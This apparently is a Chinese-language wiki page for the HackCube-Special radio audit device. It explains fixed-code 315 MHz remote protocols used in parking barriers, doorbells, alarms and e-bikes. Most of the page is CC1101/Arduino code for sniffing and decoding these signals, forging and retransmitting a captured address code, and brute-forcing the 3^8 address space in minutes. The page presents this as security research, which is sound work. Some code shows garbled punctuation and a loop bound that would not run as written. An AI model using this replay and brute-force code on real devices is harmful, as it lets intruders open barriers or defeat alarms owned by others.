-
Notifications
You must be signed in to change notification settings - Fork 91
FIXED
mobier edited this page Jan 9, 2019
·
4 revisions
HackCube-Special 在我们做无线安全研究的工作中,常常在户外环境中对一些设备进行安全检测,需要抱着电脑,连接无线设备,蹲着或者坐在地上,总是吸引不少人的眼球,十分尴尬。于是我们希望打造一款小巧的设备,只需要把它装进口袋,通过手机或者平板电脑,就能特别方便的对这些设备进行安全审计。这就是我们做HackCube-Special的初衷。HackCube-Special是一款低成本,便携式,可工作在多个无线射频频段的无线电安全审计平台。我们会给HackCube-Special提供丰富的案例,方便初学者能够更好的了解无线电安全领域。
我们先来看看有哪些设备在使用固定码遥控信号吧。通常在生活中比较常见的有那些呢,像平时停⻋场⽤的的抬杠啊,或者是家庭常⻅的⽆线⻔铃⽤的就是这种芯⽚ 还有说烟雾报警器或者⻔磁报警器,然后在我写文章时候⼀位不肯透漏姓名的雪碧0xroot
同学告诉我,某个⼥性⽤的⽆线情趣⽤品⽤的也是这种⽅案的然后还有我们电瓶⻋啊,投影屏遥控⽤可能就是这些芯⽚,然后我们来看看这中间存在与什么的安全风险吧。
上面两张图,是我们采集的两款常见的无线遥控模块发出的信号。信号分别是同步引导码
,地址位
和数据位
,最后⼀个就是停⽌码
,停止码没有特别的用处只是为了结束程序⽤的。这⾥有两段信号,后⾯会讲下这两种信号的区别,这两种相⽐于其他的更为常⻅,先来看下这个同步码,这个同步码处于信号的最前端,⽤于告诉接收端有信号过来准备接收⽤的,接收同步引导码程序才开始解码,没有则继续等待,但在后⾯的写爆破程序中发现,其实可以吧这段同步码给忽略掉并不会对控制有什么影响,并且还能给爆破省下不少时间。同步码后有⼀⼤串的空⽩时间,这个时间的作⽤是为了让发射端和接收端同步时钟⽤的。
我们来看下这两种信号的区别,第⼀种信号吧Bit1相当于12A宽度的⾼电平脉冲加4A宽度低电平的脉冲重复⼀次,⽽BIt0⽽正好相反是4a⾼在是12a的低重复⼀次。然后说下BitF,BitF只会出现在地址位⾥⾯,代表该地址位引脚悬空,后⾯会提到,⽽⽆效码则不可能出现在2262这种协议中,如果出现了只能表⽰这个信号是2240的。
现在来说下第⼆种信号格式第⼆种与第⼀种不同,⾮常明显能看出来第⼀种是吧⼀段信号重复了两次来表⽰BIT1和BIT0,并且有三种表⽰⽅式。第⼆种呢就是12A宽度的⾼电平脉冲信号加上4A的低电平宽度脉冲信号就是BIT1,相反的就是BIT0,并且不像第⼀种那样数据有3种表⽰⽅式。
先来看下遥控模块的硬件到底⻓什么样,第⼀种的银⾊是晶体振荡器⼀般会把频率直接写在上⾯,然后下⾯那个就是PT2262编码IC。看完正⾯来看下遥控的背⾯,下⾯的就是地址码的编码部分了。H字⺟就HIGH的缩写代表⾼电平信号,⼀般是电源,然后L呢就是LOW的缩写代表低电平的信号,⼀般是GND。然后就是8位的地址码,然后可以⾃定义引脚,引脚接⾼电平当信号发射时该位就出现上⾯提到的Bit1,然后该引脚接地就是低电平信号就出现Bit0。如果像图上那样什么都不接的话,就会出现BitF,因为只有这三种表⽰的状态所以才不会出现⽆效码!
然⽽第⼆种呢,地址码是出⼚时预烧录的,⽤⼾是没有办法⾃设的,这点需要注意。然后来看下这两种最⼤的区别,第⼀种地址码位8Bit,但是有3种表⽰状态。⽽第⼆种地址码有20Bit只有2种表⽰状态,算下3的8次⽅等于6561,就是⽣产出这么多个设备后就会出现重复的遥控地址码了。然后是第⼆种,2的20次⽅等于1048576,要⽣产出⼀百多万个后才会出现重复的遥控地址码。还有⼀个很重要的点就是第⼀种通过爆破地址码来控制设备只要⼗⼏分钟的时间甚⾄更少,第⼆种通过爆破地址码的⽅式来操控设备则需要⼏⼗个⼩时的时间。但这两种都属于固定码,只要监听到⼀次信号就能够复制信号了。
#include "cc1101。h"
CC1101 cc1101;
//参考datasheet写的一个设置工作射频频率的函数,可以使用SmartRF Studio计算得出
void setfreqx(unsigned long int freq) {
unsigned long freqnum = freq / 396。734569;
byte freqx[3];
freqx[0] = freqnum;
freqx[1] = freqnum >> 8;
freqx[2] = freqnum >> 16;
cc1101。writeReg(CC1101_FREQ2, freqx[2]);
cc1101。writeReg(CC1101_FREQ1, freqx[1]);
cc1101。writeReg(CC1101_FREQ0, freqx[0]);
}
//CC1101 射频芯片初始化函数
void cc1101_config() {
cc1101。SS_PIN = 10; //定义CC1101 片选引脚
cc1101。init(); //初始化函数,配置我们在库中定义好的射频参数
setfreqx(315000000); //设置中心频率
cc1101。disableAddressCheck();
cc1101。writeReg(CC1101_IOCFG2, 0x0d);//配置成异步模式
cc1101。writeReg(CC1101_MDMCFG4, 0xF7);//配置接收速率
cc1101。writeReg(CC1101_MDMCFG3, 0x93);//配置接收速率
//cc1101。writeReg(CC1101_AGCCTRL2, 0xB0);//配置门限值
cc1101。cmdStrobe(CC1101_SRX); //进入RX接收数据状态
}
上面这个是采集到的原始的射频数据,而下面这个就是CC1101
的GDO2
引脚的波形信号,也就是解调ASK
后的数据,然后可以通过这个去解码数据内容。然后我们来说说如何去解码这个数据,一般解码这个数据分为两种方式一种是使用中断
去将数据接收下,另外一种是通过轮询
引脚方式待会详细讲讲这两种的区别吧,还有其他方式会用定时器去捕获,但是这种方式用的比较少。
刚刚说到上面这一栏就是经过cc1101
射频芯片ASK
后的数据解调后的输出,而信号数据下面一栏就是采用CHANGE
类型中断触发的脉冲信号,每次上面的数据信号
发生脉冲变化时候(高电平
->低电平
/低电平
->高电平
)就会进入到我们的中断函数中。
attachInterrupt(interrupt, ISR, mode);
interrupt 中断号
ISR 中断调用的函数
mode 中断触发类型
LOW 低电平触发
CHANGE 电平变化触发
RISING 上升沿触发(由LOW变为HIGH)
FALLING 下降沿触发(由HIGH变为LOW)
我们来看看这个attachInterrupt
中断函数,首先是中断引脚,这里我们用的是atmega32u4
单片机,板子只有2,3
两个中断引脚
,对应就是0,1
两个中断号
,把CC1101
的GDO2
接到单片机的2号引脚。设置0中断号进行触发,而ISR
这是触发中断后进入的函数。我这里是使用了RCSwitch
的库函数。不必要重复造轮子。
Decimal: 96857 (24Bit) Binary: 000000010111101001011001 Tri-State: not applicable PulseLength: 272 microseconds Protocol: 1
Raw data: 8424,296,792,288,800,296,792,296,792,264,808,296,792,280,784,848,264,296,792,832,248,840,272,816,264,840,96,704,152,912,120,296,792,288,784,848,264,296,768,840,280,824,264,272,800,320,768,848,296,
我们只需要根据脉冲时间
就能够解出信号数据
,000000010111101001011001
就是我们脉冲所传输的二进制数据
,转成十进制
就是96857
(HEX:17A59
),其中的功能码
为9
。所谓固定码
就是这个地址码
是固定的,每一次发送的数据除了功能码
都是一样的,只要我们嗅探到遥控模块的地址码就能够这对这个设备进行攻击测试了。
void Fixed_Config() {
cc1101。SS_PIN = 10; //定义CC1101 片选引脚
cc1101。init(); //初始化函数,配置我们在库中定义好的射频参数
setfreqx(315000000); //设置中心频率
cc1101。cmdStrobe(CC1101_STX);//设置工作模式为"STX"发射模式
cc1101。writeReg(CC1101_IOCFG2, 0x0d);//设置为异步模式
}
// Fixed_Transmitpin = CC1101_GDO0
______________
| |_____|XXXXXXXXXXXXX|
915us 305us
void Fixed_Bit1() {
digitalWrite(Fixed_Transmitpin, HIGH);
delayMicroseconds(915);
digitalWrite(Fixed_Transmitpin, LOW);
delayMicroseconds(305);
digitalWrite(Fixed_Transmitpin, LOW);
}
_____
| |______________|XXXXXXXXXXXXX|
305us 915us
void Fixed_Bit0() {
digitalWrite(Fixed_Transmitpin, HIGH);
delayMicroseconds(305);
digitalWrite(Fixed_Transmitpin, LOW);
delayMicroseconds(915);
digitalWrite(Fixed_Transmitpin, LOW);
}
void Class2_Transmit(unsigned long data, int Func) {
// data = 地址码
// fnc = 功能码
for (int a = 20; a > 0; a--) { // 产生地址码波形 20 bit
if (data >> a - 1 & 1 == 1) {
Fixed_Bit1();
} else {
Fixed_Bit0();
}
}
for (int l = 4; l > 0; l--) { // 产生功能码波形 4 bit
if (Func >> l - 1 & 1 == 1) {
Fixed_Bit1();
} else {
Fixed_Bit0();
}
}
Fixed_Bit0(); //产生停止码
}
我们以伪造第二种固定码协议举例。Fixed_Transmitpin
接的是CC1101
的GDO0
引脚,根据输入的data
,func
在GDO0
产生出对应的电平信号,然后再由cc1101
进行ASK
将数据发射出来就可以了。
之前我们有提到一共有两种固定码的协议一种是3^8
,另外一种2^20
,前一种可以通过焊盘
进行改变的,而另外一种则是出厂就固定了无法进行更改,但是我们在没有嗅探到信号的情况下怎么对这种设备进行攻击呢?我们只要爆破这个地址码
就可以了。第一种3^8
有6561
种可能性,8424us(同步码
)+30500us(数据位
)+12000(间隔时间
)*4(重复次数
),一共需要1336.449456
秒,大概需要22
分钟左右,但是在测试中发现同步码可以省去,并且可以把重复次数减少到1次,那么只需要4.64
分钟就可以将3^8
固定码跑完。
void Class1_Attack() {
Fixed_Config_Class1();
cc1101。PrintConfig();
pinMode(RF_GDO0, OUTPUT);
unsigned int EndNum = 0x0;
unsigned int SerialNum = 0x5406;
//Class 1 8Bit的地址码类型 爆破函数
//SerialNum 开始爆破地址码
//EndNum 结束地址码
while (SerialNum < EndNum) { //循环爆破地址码范围
for (int i = 0; i < 8 ; ++i) { //循环8个Bit
if ((3 << (i * 2)&SerialNum) >> (i * 2) == 2 )//判断是否有之前提到的无效码
SerialNum = SerialNum + (1 << (i * 2));//出现无效码就序列号+1 跳过
}
for (int i = 0; i < 2; i++) { //数据重复发送两次
Class1_Transmit(SerialNum);//调用发射函数
delay(12);//发射延迟
}
SerialNum = SerialNum + 1;//序列递增
}
}
在Freebuf这个平台上,已经有十篇左右对固定码进行分析的文章,使用到各种软件无线电软件,Gnuradio,Inspectrum,audacity,rtl_433。各种硬件,电视棒,HackRF,USRP,逻辑分析仪,超再生模块,EZ430,树莓派,Arduino单片机。这些方法都比较繁琐。但现在我们可以使用一个HackCube-Special就能够进行这样的研究分析。
从以上分析可以看出,固定码遥控的安全风险是比较高的,很容易攻击成功。原因是这类无线遥控设备本身的价值就不高,若在安全方面增加太多成本,例如使用滚动码或者双向交互式认证,产品价格是难以承受的。在安全与成本之间,找到恰当的平衡点,是一个永恒的问题。以上方法(代码)带有一定攻击性,仅供安全研究之用,读者请勿做其他用途。
我们的硬件产品预计会在12月份月底左右上线,在我们社区上提交质量不错的文章是有机会拿到第一时间产品的哟,有任何问题的欢迎在社区上与我们交流。
https://future-sec.com/wireless-signal-replay-attack-and-reverse-with-LimeSDR.html
https://github.com/ComThings/PandwaRF/wiki
https://github.com/merbanan/rtl_433
http://image.3001.net/uploads/pdf/无线遥控信号分析入门v3.pdf
https://www.cnblogs.com/k1two2/p/4762810.html
https://www.cnblogs.com/k1two2/p/5268531.html
http://www.freebuf.com/articles/wireless/111801.html
http://www.freebuf.com/articles/wireless/105398.html
http://www.freebuf.com/articles/wireless/126330.html
http://www.freebuf.com/articles/wireless/115289.html
http://www.freebuf.com/articles/wireless/105398.html
http://www.freebuf.com/articles/wireless/165566.html